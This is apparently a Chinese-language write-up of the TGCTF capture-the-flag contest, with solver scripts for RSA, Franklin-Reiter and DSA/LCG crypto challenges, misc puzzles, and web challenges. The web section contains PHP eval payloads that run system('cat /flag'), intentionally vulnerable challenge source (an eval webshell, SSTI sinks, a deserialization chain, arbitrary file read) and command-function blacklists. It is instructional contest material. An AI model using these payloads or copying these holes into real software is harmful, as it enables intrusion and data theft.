Crypto
AAAAAAAA 真签到
比较简单的移位加密。根据开头为 TGCTF 找出规律。让 AI 思考了下,结果直接就出来了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def decrypt(ciphertext):
plaintext = []
for i, c in enumerate(ciphertext):
if c.isalpha():
# 计算移位量:shift = 1 - i
shift = 1 - i
# 将字符转换为大写并计算字母表位置(A=0, B=1,...)
c_code = ord(c.upper()) - ord('A')
# 解密公式:明文字母位置 = (c_code - shift) % 26
p_code = (c_code - shift) % 26
# 转回ASCII字符并保持大写
plaintext.append(chr(p_code + ord('A')))
else:
# 非字母字符直接保留
plaintext.append(c)
return ''.join(plaintext)
ciphertext1 = "UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}"
plaintext1 = decrypt(ciphertext1)
print("解密结果1:", plaintext1)
#TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
|
TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
费克特尔
factordb 直接就能分解 n。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from Crypto.Util.number import *
from gmpy2 import *
c=670610235999012099846283721569059674725712804950807955010725968103642359765806
n=810544624661213367964996895060815354972889892659483948276203088055391907479553
e=65537
a1=113
a2=18251
a3=2001511
a4=214168842768662180574654641
a5=916848439436544911290378588839845528581
phi=(a1-1)*(a2-1)*(a3-1)*(a4-1)*(a5-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
#TGCTF{f4888_6abdc_9c2bd_9036bb}
|
TGCTF{f4888_6abdc_9c2bd_9036bb}
tRwSiAns
相同的 n 和 e 加密两个具有线性关系的明文 $\begin{cases}
m_1&=m+hash(x1)\
m_2&=m+hash(x2)
\end{cases}$即 $m_2=m_1+hash(x_2)-hash(x_1)$
记 $m_2=am_1+b$,可以构造两个多项式 $\begin{cases}
f1={x}^3-c_1\pmod n\
f2={(ax+b)}^3-c_2\pmod n
\end{cases}$
f1,f2 两个多项式,一定有一个共同的因子 $(x-m_1)$
利用多项式的辗转相除法求出这个因子,即可解出 m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
import hashlib
from Crypto.Util.number import *
from gmpy2 import *
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
def franklinReiter(n,e,c1,c2,a,b):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X*a+ b)^e - c2
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0]) # 系数
def hash(x):
return int(hashlib.md5(str(x).encode()).hexdigest(), 16)
n = 100885785256342169056765112203447042910886647238787490462506364977429519290706204521984596783537199842140535823208433284571495132415960381175163434675775328905396713032321690195499705998621049971024487732085874710868565606249892231863632731481840542506411757024315315311788336796336407286355303887021285839839
e = 3
c1 = 41973910895747673899187679417443865074160589754180118442365040608786257167532976519645413349472355652086604920132172274308809002827286937134629295632868623764934042989648498006706284984313078230848738989331579140105876643369041029438708179499450424414752031366276378743595588425043730563346092854896545408366
c2 = 41973912583926901518444642835111314526720967879172223986535984124576403651553273447618087600591347032422378272332279802860926604693828116337548053006928860031338938935746179912330961194768693506712533420818446672613053888256943921222915644107389736912059397747390472331492265060448066180414639931364582445814
x1, x2 = 307, 7
x1=hash(x1)
x2=hash(x2)
a=1
b=x2-x1
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X*a+ b)^e - c2
#print(compositeModulusGCD(f1, f2))
print(long_to_bytes(franklinReiter(n,e,c1,c2,a,b)-x1))
#TGCTF{RS4_Tw1nZ_d0You_th1nk_ItS_fun_2win?!!!1111111111}
|
TGCTF{RS4_Tw1nZ_d0You_th1nk_ItS_fun_2win?!!!1111111111}
宝宝 RSA
分为两个 part
part1,质数 p1 和 q1 已知,e1 的位数最多为 18bit,直接爆破
part2,e2=3 很小,而且 c2 与 n2 相差很大,所以猜测 m 的 3 次方仍然小于 n2,直接开根
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from Crypto.Util.number import *
from gmpy2 import *
from sympy import *
from tqdm import *
p1 = 8362851990079664018649774360159786938757293294328116561219351503022492961843907118845919317399785168488103775809531198339213009936918460080250107807031483
q1 = 8312546034426788223492083178829355192676175323324230533451989649056072814335528263136523605276378801682321623998646291206494179416941978672637426346496531
c1 = 39711973075443303473292859404026809299317446021917391206568511014894789946819103680496756934914058521250438186214943037578346772475409633145435232816799913236259074769958139045997486622505579239448395807857034154142067866860431132262060279168752474990452298895511880964765819538256786616223902867436130100322
n1=p1*q1
for e in trange(2**17,2**18):
if gcd(e,(p1-1)*(q1-1))!=1:
continue
d=inverse(e,(p1-1)*(q1-1))
m=long_to_bytes(pow(c1,d,n1))
if b'TGCTF{' in m:
print(m)
break
n2 = 103873139604388138367962901582343595570773101048733694603978570485894317088745160532049473181477976966240986994452119002966492405873949673076731730953232584747066494028393377311943117296014622567610739232596396108513639030323602579269952539931712136467116373246367352649143304819856986264023237676167338361059
c2 = 51380982170049779703682835988073709896409264083198805522051459033730166821511419536113492522308604225188048202917930917221
e2 = 3
mm,a=iroot(c2,3)
print(long_to_bytes(mm))
#TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}
|
TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}
mm 不躲猫猫
看着好唬人,60 组 n 和 c。一开始想着是不是得用中国剩余定理,结果并不行。其实只需要让 n 两两求 gcd,只要有不为 1 的最大公因数就能分解对应的 n。
我就随便试了下,结果 n1 和 n3 有不为 1 的结果。后面就是常规的做法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from Crypto.Util.number import *
from gmpy2 import *
from math import gcd
e=65537
n1 = 104620414822063385079326749509982471870030893600285414264987224935916290272601764523383209465433613538037960991762459760833469310204135961581840403511596166088644211015428546275493892988418626726155859624501730928694822384537353845736516967991087412959351952563730377463899768183476698424362423043497737906623
c1 = 46039211893589761388229614285558239355119695176816949068907191054207506730440947101388028710988726734999719468830467682553990941948390688315715650976965231516653707125993971747796355564587123089802425266994022342763366946693028597366959030863496254672081216842747104144465753908738135854355761032614829767801
n3 = 97838166150880996322271330309067876274369629304288765249967974468367105054047299499596040632925907384502862419004673114223665726506104837885822909371569060745589002030380969587694083056125880529762088534900418072441378759571612290245967363366712440121861026216057485493561216431656619679041625036650956580141
c3 = 13964437454524296084510225903229161859257123876632697866040207708487126396198332364645709267606449694929792345209792570053510791963531448336253575726210469465864539890677252499866753713612441273667882500168058017224495736582505959700480874460389262074140652815959688469055699161959913579169401470659235115109
print(gcd(n1,n3))
#p=8966982846196321583218732818156212338929358106653027903288099594075033180211918114777730737751247653195936571427074856051307498770294940971178276714212171
q=n1//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c1,d,n1)
print(long_to_bytes(m))
#TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}
|
TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}
EZRSA
是一个 RSA,已知 p 低位,用 coppersmith 解出 p 的题
但 p 和 q 是由 emoji 表情产生的,给出的 p 低位数据也是 emoji 表情,emoji 和数字的转化方式并没有给出
p 为 512bit,直接产生高 224bit 的数字,剩下的 288bit 由 9 个 emoji 表情拼接,一个 emoji 为 32bit
而题中给出的 p 低位只有 8 个 emoji,也就是 512bit 的 p 仅已知 256bit,已知太少估计直接解解不出来
所以猜测需要把题中没有给出的 emoji 爆破出来,再去解 p
所以解题,首先需要猜出 emoji 和数字的转化方式,其次要爆破出未给出的 emoji
猜 emoji 是编码成数字的,应该是 utf-8,因为输出 p0 的时候直接用的 long_to_bytes().decode()
而爆破出未给出的 emoji,出题人用的哪个 emoji 版本也不知道,网上搜编码范围一个一个试
这里解出 p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
#sage
from Crypto.Util.number import *
from gmpy2 import *
from tqdm import *
def t(x):
emoji=x
a = 0
for i in range(len(emoji)):
u=emoji[i].encode()
v = int.from_bytes(u, byteorder='big')
shift = (len(x)-1-i) * 32
a += v << shift
return a
p0 = '😘😾😂😋😶😾😳😷'
e = "💯"
n = 156583691355552921614631145152732482393176197132995684056861057354110068341462353935267384379058316405283253737394317838367413343764593681931500132616527754658531492837010737718142600521325345568856010357221012237243808583944390972551218281979735678709596942275013178851539514928075449007568871314257800372579
c = 47047259652272336203165844654641527951135794808396961300275905227499051240355966018762052339199047708940870407974724853429554168419302817757183570945811400049095628907115694231183403596602759249583523605700220530849961163557032168735648835975899744556626132330921576826526953069435718888223260480397802737401
p0=t(p0)
for em9 in trange(0x1F600,0x1FAFF+1):
F.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f = x * 2**(288) + bytes_to_long(chr(em9).encode())*(2**256) + p0
f = f.monic()
roots = f.small_roots(X=2^224,beta=0.4,epsilon=0.03)
if roots !=[]:
print(roots)
print(em9)
#x=24983429965532426455110187127560229529270562443137951827166860773923
#em9=128518
|
结果发现 e 与 phi(n)不互素,把式子拆开之后用 AMM 直接开根,最后用 CRT 把解出的一次同余式子合起来,筛选正确的结果(flag 居然是 emoji 表情……一开始还以为解错了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
|
from Crypto.Util.number import *
from gmpy2 import *
from sympy import *
from tqdm import *
import random
import math
def t(x):
emoji=x
a = 0
for i in range(len(emoji)):
#u=emoji[i].encode('utf-32-be')
u=emoji[i].encode()
v = int.from_bytes(u, byteorder='big')
shift = (len(x)-1-i) * 32
a += v << shift
return a
n = 156583691355552921614631145152732482393176197132995684056861057354110068341462353935267384379058316405283253737394317838367413343764593681931500132616527754658531492837010737718142600521325345568856010357221012237243808583944390972551218281979735678709596942275013178851539514928075449007568871314257800372579
c = 47047259652272336203165844654641527951135794808396961300275905227499051240355966018762052339199047708940870407974724853429554168419302817757183570945811400049095628907115694231183403596602759249583523605700220530849961163557032168735648835975899744556626132330921576826526953069435718888223260480397802737401
p0 = '😘😾😂😋😶😾😳😷'
e = "💯"
e=t(e)
p0=t(p0)
x=24983429965532426455110187127560229529270562443137951827166860773923
em9=128518
p = x * 2**(288) + bytes_to_long(chr(em9).encode())*(2**256) + p0
q=n//p
phi=(q-1)*(p-1)
ee=e//15
d=inverse(ee,phi)
m15=pow(c,d,n)
cp=pow(m15,inverse(3,p-1),p) # cp = m^5 mod p
cq=pow(m15,inverse(5,q-1),q) # cq = m^3 mod q
def onemod(e, q):
p = random.randint(1, q-1)
while(pow(p, (q-1)//e, q) == 1):
p = random.randint(1, q)
return p
def AMM_rth(o, r, q):
assert((q-1) % r == 0)
p = onemod(r, q)
t = 0
s = q-1
while(s % r == 0):
s = s//r
t += 1
k = 1
while((s*k+1) % r != 0):
k += 1
alp = (s*k+1)//r
a = pow(p, r**(t-1)*s, q)
b = pow(o, r*a-1, q)
c = pow(p, s, q)
h = 1
for i in range(1, t-1):
d = pow(int(b), r**(t-1-i), q)
if d == 1:
j = 0
else:
j = (-math.log(d, a)) % r
b = (b*(c**(r*j))) % q
h = (h*c**j) % q
c = (c*r) % q
result = (pow(o, alp, q)*h)
return result
def ALL_ROOT2(r, qq):
li = set()
while(len(li) < r):
pp = pow(random.randint(1, qq-1), (qq-1)//r, qq)
li.add(pp)
return li
def ALL_Solution(m, q, rt, cq, e):
mp = []
for pr in rt:
r = (pr*m) % q
mp.append(r)
return mp
def check(m):
try:
a = long_to_bytes(m)
if b'TGCTF{' in a:
a = bytearray(long_to_bytes(m))
print('TGCTF{'+a[6:-(4*5+1)].decode()+'}')
return True
else:
return False
except:
return False
def calc(mp, mq, p, q):
i = 1
j = 1
t1 = invert(q, p)
t2 = invert(p, q)
for mp1 in mp:
for mq1 in mq:
j += 1
if j % 100000 == 0:
print(j)
ans = (mp1*t1*q+mq1*t2*p) % (p*q)
if check(ans):
return
return
mp=AMM_rth(cp,5,p)
mq=AMM_rth(cq,3,q)
rt1 = ALL_ROOT2(5, p)
rt2 = ALL_ROOT2(3, q)
amp = ALL_Solution(mp, p, rt1, cp, 5)
amq = ALL_Solution(mq, q, rt2, cq, 3)
calc(amp, amq,p, q)
#TGCTF{🙇🏮🤟_🫡🫡🫡_🚩🚩🚩}
|
TGCTF{🙇🏮🤟🫡🫡🫡🚩🚩🚩}
LLLCG
与其说是 LCG,不如说是 LFSR(
熟悉题目:
题目实现了 DSA 签名,其中 DSA 的随机数 k 是用魔改过的三重 LCG 产生的
三个 part,前两个 part 可以求出 DSA 的全部参数,第三个 part 则让让我们自己签名一段信息,如果签名正确,那么返回 flag
各个部分的细节:
三重 LCG 的实现:随机数产生的递推公式 $s_{i+3}\equiv as_{i}+bs_{i+1}+cs_{i+2}+d\pmod n$,和 LFSR 很相似
上一次随机的种子依次移一位(像是欧几里得算法那样)作为下一次的随机种子
攻击方式应该也和 LFSR 一样,都是有限域 n 下的线性方程,知道了 n 和一定数量的随机数后,即可解方程求出参数 a,b,c,d
DSA:
一、基础生成
先把式子列出来比较方便:q 为随机产生的素数(为 p-1 的一个因子)
p 的产生:$p=2R_1q+1$且 p 为素数,R1 为随机素数
$$
g\equiv 2^{\frac{p-1}{q}}\equiv 4^{R1}\pmod p
$$x 为随机数(不大于 q)
$$
y\equiv g^x\equiv 4^{x\cdot R1}\pmod p
$$二、签名流程
h 是对信息的 sha256 生成的$h=sha256(msg)$
$$
r=(g^k\pmod p)\pmod q
$$$$
s=(k^{-1}(h+xr))\pmod q
$$随后返回 r,s ,作为后续的验证
三、认证流程
要求两个值
$$
u1=(h*s^{-1})\pmod q
$$$$
u2=(r*s^{-1})\pmod q
$$这里求 v,作为验证,只要 v=r,验证就能通过
$$
v=(g^{u1}*y^{u2}\pmod p)\pmod q
$$但是实际上这个认证不用管,把参数求出来就行了,认证是题目的事情(
输出 DSA 公钥部分:
输出了 g,y,p,q,根据 $p=2R_1q+1$即可求出 R1
因为 $h=sha256(msg)$,msg 是自己传上去的,所以 h 也已知
此时整个 DSA 中未知量仅为 x,k,r,s,因为 r 和 s 是签名结果,所以知道了 k 和 x 就相当于知道了 DSA 的全部信息了
part1:
12 次循环,每一次自己输入 msg,返回 r 和 ks
在每一次循环中
$$
ks_i\equiv k\pmod {small\_prime_i}
$$因此可以 CRT 解出每一次循环的 k,也就是已知了 12 个三重 LCG 随机数
个人推测构造 gcd 解出 LCG 的模 n(没模啥也算不了),再解 12 个方程的方程组即可解出参数 abcd
之后的所有随机数便都可预测
part2:
经过 part1,DSA 中的 k 已知,此时传入 msg,输出 s 和 r
在这里需要用 $s=(k^{-1}(h+xr))\pmod q$求出 x
part3:
自己随便传入一个新的 msg,并传入自己算出来的签名
如果前面的 DSA 参数恢复正确,就能得到 flag 了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
|
from random import *
from Crypto.Util.number import *
from sage.all import *
from pwn import *
from hashlib import *
class TripleLCG:
def __init__(self, seed1, seed2, seed3, a, b, c, d, n):
self.state = [seed1, seed2, seed3]
self.a = a
self.b = b
self.c = c
self.d = d
self.n = n
def next(self):
new = (self.a * self.state[-3] + self.b * self.state[-2] + self.c * self.state[-1] + self.d) % self.n
self.state.append(new)
return new
io=remote('node1.tgctf.woooo.tech',30883)
io.recvuntil(b'p = ')
p=int(io.recvuntil(b',')[:-1].strip().decode())
io.recvuntil(b'q = ')
q=int(io.recvuntil(b',')[:-1].strip().decode())
io.recvuntil(b'g = ')
g=int(io.recvuntil(b',')[:-1].strip().decode())
io.recvuntil(b'y = ')
y=int(io.recvline().strip().decode())
#___________________part1_________________________
io.sendlineafter(b'[-] ',b'1')
ss=[]
for i in range(12):
io.sendlineafter(b'[-] ',b'UKY')
io.recvuntil(b'ks = ')
ks=eval(io.recvline().strip().decode())
ss.append(ks)
small_primes = [59093, 65371, 37337, 43759, 52859, 39541, 60457, 61469, 43711]
def crt(n_list, c_list):
n = 1
for i in n_list:
n *= i
N = []
for i in n_list:
N.append(n//i)
t = []
for i in range(len(n_list)):
t.append(inverse(N[i], n_list[i]))
summary = 0
for i in range(len(n_list)):
summary = (summary + c_list[i]*t[i]*N[i]) % n
return summary
s=[]
for i in range(12):
s.append(crt(small_primes, ss[i]))
diffs = [s[i+1] - s[i] for i in range(len(s)-1)]
A = matrix(ZZ,[
[diffs[0], diffs[1], diffs[2]],
[diffs[1], diffs[2], diffs[3]],
[diffs[2], diffs[3], diffs[4]]
])
B = vector(ZZ,[diffs[3], diffs[4], diffs[5]])
det = A.determinant()
if det != 0:
abc = A.solve_right(B)
a, b, c = abc[0], abc[1], abc[2]
def gn(i):
lhs = diffs[i+3]
rhs = a * diffs[i] + b * diffs[i+1] + c * diffs[i+2]
nn = abs(lhs - rhs)
return nn.numerator()
n=gcd(gn(0),gn(1))
for i in range(2,8):
n=gcd(gn(i),n)
B=Matrix(Zmod(n),4,4)
for i in range(4):
for j in range(4):
if j<3:
B[i,j]=s[j+i]
else:
B[i,-1]=1
v=vector([s[3],s[4],s[5],s[6]])
pm=B.solve_right(v)
a,b,c,d=list(pm)
lcg = TripleLCG(s[9], s[10], s[11], a, b, c, d, n)
#__________________________part2___________________________
io.sendlineafter(b'[-] ',b'2')
io.sendlineafter(b'[-] ',b'UKY')
io.recvuntil(b'r = ')
r=int(io.recvuntil(b',')[:-1].strip().decode())
io.recvuntil(b's = ')
s=int(io.recvline().strip().decode())
for _ in range(307):
k = lcg.next()
f=Zmod(q)
k=f(lcg.next())
h = bytes_to_long(sha256(b'UKY').digest())
x=f((s*k-h)*inverse(r,q))
def sign(p,q,g,x,msg,k):
h = bytes_to_long(sha256(msg).digest())
r = (pow(g, k, p))%q
s = (inverse(k, q) * (h + x * r))%q
return (r, s)
for _ in range(9):
io.sendlineafter(b'[-] ',b'UKY')
lcg.next()
#____________________________part3______________________________
io.sendlineafter(b'[-] ',b'3')
io.sendlineafter(b'[-] ',b'bbbb')
k=int(lcg.next())
rr, ss=sign(p,q,g,x,b'bbbb',k)
print(rr)
io.sendlineafter(b'[-] ',str(rr).encode())
io.sendlineafter(b'[-] ',str(ss).encode())
io.interactive()
#TGCTF{3f607017-c082-65ca-265d-96d1fcd6630b}
|
TGCTF{3f607017-c082-65ca-265d-96d1fcd6630b}
Misc
这是啥 o_o
首先得到了一个文件,名为“有一天我们会接受 ai 吗”,随波逐流打开可以知道这是一个 gif 文件,添加后缀 gif,可以发现有 31 张图片在里面,然后在尾部看到九张汉信码的碎片,裁剪出:

之后再拼接它们:

如上图,用中国编码扫码得到:time is your fortune ,efficiency is your life

但是这里还不是最终的答案,这里 time is your fortune ,efficiency is your life 是个 hint
关键词:时间,效率
因为原来文件是 gif 文件,所以可以先用 exiftool 查看,检查 GIF 文件的创建/修改时间戳,可能是十六进制或 Base64 编码的线索:

没有啥信息,但是Duration: 30.94 秒,那么我们可以去考虑帧延迟
使用 identify -format "%T\n" 有一天我们会接受ai吗.gif 查看帧延迟列表:
得到:

将十进制数转换为 ASCII,得到:
TGCTF{You_caught_up_with_time!}
next is the end
简单的文件夹嵌套,脚本秒了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import os
import time
import platform
import subprocess
def open_current_folder():
current_path = os.getcwd()
os.startfile(current_path)
def navigate_folders():
print("文件夹导航脚本已启动,按Ctrl+C停止...")
try:
while True:
# 获取当前目录下所有非隐藏的文件夹
subdirs = [d for d in os.listdir()
if os.path.isdir(d) and not d.startswith('.')]
if subdirs:
# 进入第一个找到的非隐藏子文件夹
target_dir = subdirs[0]
print(f"进入文件夹: {target_dir}")
os.chdir(target_dir)
else:
# 没有子文件夹时打开当前文件夹
print("没有子文件夹,打开当前目录")
open_current_folder()
time.sleep(5)
except KeyboardInterrupt:
print("\n脚本已停止")
if __name__ == "__main__":
navigate_folders()
|
flag{so_great!}
你的运气是好是坏
纯猜的:114514
TGCTF{114514}
where_it_is
社工题:

我们需要在图片里找到关键的信息

简单签到,关注:”杭师大网安“谢谢喵 🐱
关注:”杭师大网安“谢谢喵 🐱,并发送“欢迎参加 TGCTF"获得 flag:
TGCTF{Efforts_to_create_the_strength, attitude_determines_altitude.}
Web
AAA 偷渡阴平

php 正则表达式的绕过,使用了 preg_match() 进行过滤:
- 禁止数字:
0|1|[3-9](注意到 2 没有被过滤,可能会用到)
- 禁止大量特殊字符:
~ @ # $ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? \
- 可以使用的:
大小写字母,2,|,_,!,(,),;, 。
可以使用 ?tgctf2025=print_r 来输出内容
查看环境变量:?tgctf2025=print_r(getenv());

但是显示这里没有 flag。
?tgctf2025=print_r(scandir(__DIR__)); 查看目录内容:

上级目录:?tgctf2025=print_r(scandir(dirname(__DIR__)));

通过套娃可以找到 flag

这里想起了之前遇到的一些数组函数,拿来用一下
GET:?tgctf2025=print_r(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));
这样能得到其文件名,用 hightlight_file 替代 print_r
GET:?tgctf2025=highlight_file(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));

但是无法读取,file_exists 显示文件存在,应该是权限问题?用同样的方式读取 index.php 是没有问题的
发现使用 get_defined_vars()可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,返回数组顺序为$_GET–>$_POST–>$_COOKIE–>$_FILES
传参:?tgctf2025=eval(end(current(get_defined_vars())));&b=system('ls /');

?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');
得到 flag

TGCTF{aeb6a2a6-2881-8093-327d-3180f9f94ffd}
火眼辩魑魅
查看 robots.txt:

得到许多路径。依次访问,是不同的 web 关卡。
第一关 tgupload.php:

文件上传题目,提示:

尝试上传一句话木马,发现上传失败

所有关卡源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
|
<?php//tgupload.php
if(isset($_FILES['file'])) {
$uploadDir = 'uploads/';
if(!file_exists($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
$fileName = basename($_FILES['file']['name']);
$fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
$allowedExtensions = ['php', 'jpg', 'png'];
if(!in_array($fileExtension, $allowedExtensions)) {
die("只允许上传php、jpg、png格式的文件!");
}
$tmpFile = $_FILES['file']['tmp_name'];
if ($fileExtension === 'php') {
$filteredContent="最安全的waf:TGwaf将你拦下了!";
file_put_contents($tmpFile, $filteredContent);
}
$uploadFile = $uploadDir . $fileName;
if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "文件已保存到:$uploadFile !";
} else {
echo "文件保存出错!";
}
}
else{
echo "冲啊!文件上传!";
}
?>
<?php //tgshell.php
if ($_POST["shell"]){
$shell=$_POST["shell"]; if(!preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $shell)) {
eval($shell);
}
else{
die("你明明知道你被waf了,为什么还在尝试?。?");
}
}
else{ echo "哇,贞德是你鸭!"; }
?>
<?php//tgxff.php
error_reporting(0);
require './Smarty/libs/Smarty.class.php';
$smarty = new Smarty();
$ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
echo "OvO 你电脑的IP是:";
$smarty->display("string:".$ip);
?>
<?php //tgser.php
error_reporting(0); class road{
public function __get($arg1) {
$blacklist = ['DirectoryIterator', 'Error', 'Exception', 'SoapClient', 'FilesystemIterator', 'SimpleXMLElement', 'GlobIterator', 'ReflectionClass', 'ReflectionObject'];
array_walk($this, function ($day1, $day2) use ($blacklist) {
if (in_array($day2, $blacklist)) {
die('hacker');
}
$day3 = new $day2($day1);
foreach ($day3 as $day4) {echo ($day4 . '<br>');}
});
}
}
class river{
public $fish;
public $shark;
public function __invoke() {
if (md5($this->fish) == $this->fish) {
return $this->shark->upper;
}
} }
class sky{
public $bird;
public $eagle;
public function __construct($a) {
$this->bird = $a;
}
function __destruct() {
echo $this->bird;
}
public function __toString() {
$newFunc = $this->eagle;
return $newFunc();
}
}
$way=$_POST['J'];
@unserialize(base64_decode($way));
?>
<?php //tgphp.php
error_reporting(0);
$code = $_GET['code'] ?? '';
$white_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '$', '\\', ';']; for ($i = 0; $i < strlen($code); $i++) {
$char = $code[$i];
if (!in_array($char, $white_list)) {
die("检测到非法字符: " . htmlspecialchars($char) . "!只允许使用数字0-9和小部分符号哦!"); }
}
eval($code);
?>
<?php //tginclude.php
if(isset($_POST['file']) && !empty($_POST['file'])) {
$file = $_POST['file'];
$content=file_get_contents($file);
echo $content; }
else{
echo "应该包含什么文件呢?好难猜~";
}
?>
|
tgshell.php 是入口点


TGCTF{a1a58d70-42ed-c158-d639-52fbacd93846}
直面天命

如图所示,需要一个密钥,这是一个/jingu 路由的 POST 传参,看来会返回传入的内容。试一下 ssti{{7*7}}
结果是只要花括号闭合,就会有以下回显:

注释提示有/hint,要找一个四个小写英文字母组成的路由。

于是生成了个字典,用 burp 爆破了一下,找到了/aazz 路由,本页面可以传参

看到响应头 content-disposition 有个 filename,再结合 hint 说要读取源代码,猜测参数可能就是 filename

可以传 filename 的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
|
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list = ['{', '}', 'popen', 'os', 'import', 'eval', '_', 'system', 'read', 'base', 'globals']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1 = ""
template2 = ""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br>Image'
else:
k = 0
for i in name:
if is_typable(i):
continue
k = 1
break
if k == 1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br>Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template = template.replace("直面", "{{").replace("天命", "}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br>Image'
try:
return template1 + render_template_string(template) + render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template = "hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
filename = request.args.get('filename', '')
if filename == "":
return send_from_directory('static', 'file.html')
if not filename.replace('_', '').isalnum():
content = jsonify({'error': '只允许字母和数字!'}), 400
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
|

找到 secret_key
代码逻辑为判断传入 name 是否有不可通过标准键盘输入的字符,若有,且 name 不包含’直面’,即 secret_key 前两位则返回“六根不全”。之后是将直面,天命分别替换成{{,}},接下来绕过黑名单就行

在本地拿 fenjing 梭了一下,然后略加修改得到以下 payload
1
|
